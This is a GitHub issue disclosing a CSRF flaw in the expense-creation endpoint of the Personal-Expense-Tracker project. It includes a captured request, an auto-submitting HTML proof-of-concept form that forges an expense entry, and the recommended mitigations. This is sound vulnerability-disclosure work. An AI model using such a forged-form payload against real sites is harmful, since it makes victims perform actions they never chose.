Skip to content

CSRF Vulnerability in add_expense.php Allows Unauthorized Expense Creation in Personal-Expense-Tracker #2

@whoisrushi

Description

@whoisrushi

Summary:
A Cross-Site Request Forgery (CSRF) vulnerability exists on the expense creation endpoint (add_expense.php). Authenticated users can be tricked into submitting a forged POST request (for example by visiting a malicious page) which will add an expense on their behalf (e.g., adding a 3000 entry in Medicine). The endpoint lacks a CSRF token and does not enforce sufficient request origin/Referer validation.

Steps to Reproduce:

  1. Log in to the application with a valid user account.

  2. Capture a legitimate expense creation request (example):

POST /Personal-Expense-Tracker/add_expense.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=rttnn0mvlple0r5t6pt2efmcf5

expenseamount=3000&expensedate=2025-11-01&expensecategory=Medicine&add=
  1. Create a malicious webpage that auto-submits the forged request to the application's endpoint (example PoC below).

  2. Lure the authenticated victim to visit the malicious page (e.g., via link/email). When the victim visits the page while logged in to the Personal-Expense-Tracker, the form will submit and the application will record an expense of 3000 in the "Medicine" category for the specified date.

PoC (HTML):

<!doctype html>
<html>
<body>
 <form id="csrf" method="POST" action="http://localhost/Personal-Expense-Tracker/add_expense.php">
   <input type="hidden" name="expenseamount" value="3000"/>
   <input type="hidden" name="expensedate" value="2025-11-01"/>
   <input type="hidden" name="expensecategory" value="Medicine"/>
   <input type="hidden" name="add" value=""/>
 </form>
 <script>document.getElementById('csrf').submit();</script>
</body>
</html>

Vendor of the product(s) info
EbeyJoeRegi

Affected product(s)/code base info
Product: Personal-Expense-Tracker
Version: Git commit 0b588ed (local copy tested Nov 1, 2025)

Impact:
An attacker can cause authenticated users to perform unwanted expense-creation actions without their knowledge. Potential impacts include:
Integrity loss: unauthorized expense records added to victim accounts (financial data corruption).
Privacy/forensic confusion: falsified entries can obscure real activity.
Chaining attacks: forged actions might be combined with other flaws to escalate impact (e.g., trigger alerts, manipulate reports).

Affected component(s):

add_expense.php (expense creation endpoint)
Any downstream logic that trusts the source of expense creation (reporting, notification, dashboards)

Recommended mitigations:

CSRF token: Implement per-session (or per-form) unpredictable CSRF tokens and validate them server-side for any state-changing POST endpoints (including add_expense.php). Reject requests without a valid token.
SameSite cookies: Set session cookies with SameSite=strict or SameSite=lax (depending on app requirements) to reduce CSRF risk from cross-site contexts.
Origin/Referer checks: Enforce strict Origin or Referer header validation for sensitive POST requests (accept only known, same-origin values).

Discovered by:
Team DisclosureX

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions